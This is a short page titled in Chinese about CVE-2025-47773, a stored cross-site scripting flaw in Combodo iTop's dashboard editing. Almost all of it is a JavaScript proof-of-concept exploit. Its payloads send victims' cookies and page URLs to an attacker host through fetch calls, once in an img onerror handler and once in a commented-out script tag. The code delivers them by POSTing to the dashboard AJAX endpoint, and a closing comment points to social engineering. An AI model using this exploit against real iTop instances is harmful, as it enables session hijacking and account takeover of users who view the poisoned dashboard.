CVE-2025-47773: Combodo iTop仪表板编辑AJAX调用跨站脚本漏洞

// CVE-2025-47773 PoC - Stored XSS in Combodo iTop Dashboard // This PoC demonstrates the XSS vulnerability in iTop dashboard editing via AJAX // Step 1: Identify the target iTop instance const targetUrl = 'https://vulnerable-itop-instance.com'; // Step 2: Create malicious dashboard payload // The payload exploits the lack of HTML encoding in dashboard editing const maliciousPayload = { // Inject JavaScript via event handler in dashboard widget title: '<img src=x onerror="fetch(\'http://attacker.com/steal?cookie=\'+document.cookie)">', // Alternative payload using script tag // description: '<script>fetch("http://attacker.com/log?data="+btoa(JSON.stringify({cookies: document.cookie, url: location.href})))</script>', widget_config: { type: 'custom_html', content: '<div onmouseover="alert(document.domain)">XSS Payload</div>' } }; // Step 3: Send AJAX request to create/edit dashboard async function exploitXSS() { const ajaxEndpoint = `${targetUrl}/pages/ajax.render.php`; const formData = new FormData(); formData.append('operation', 'dashboard_edit'); formData.append('dashboard_id', '1'); formData.append('dashboard_data', JSON.stringify(maliciousPayload)); try { const response = await fetch(ajaxEndpoint, { method: 'POST', credentials: 'include', body: formData }); console.log('Payload sent, XSS should be triggered when dashboard is viewed'); } catch (error) { console.error('Exploitation failed:', error); } } // Step 4: Social engineering component // The attacker would need to trick a user into viewing the malicious dashboard console.log('Attacker would host this script or embed the payload in a dashboard link');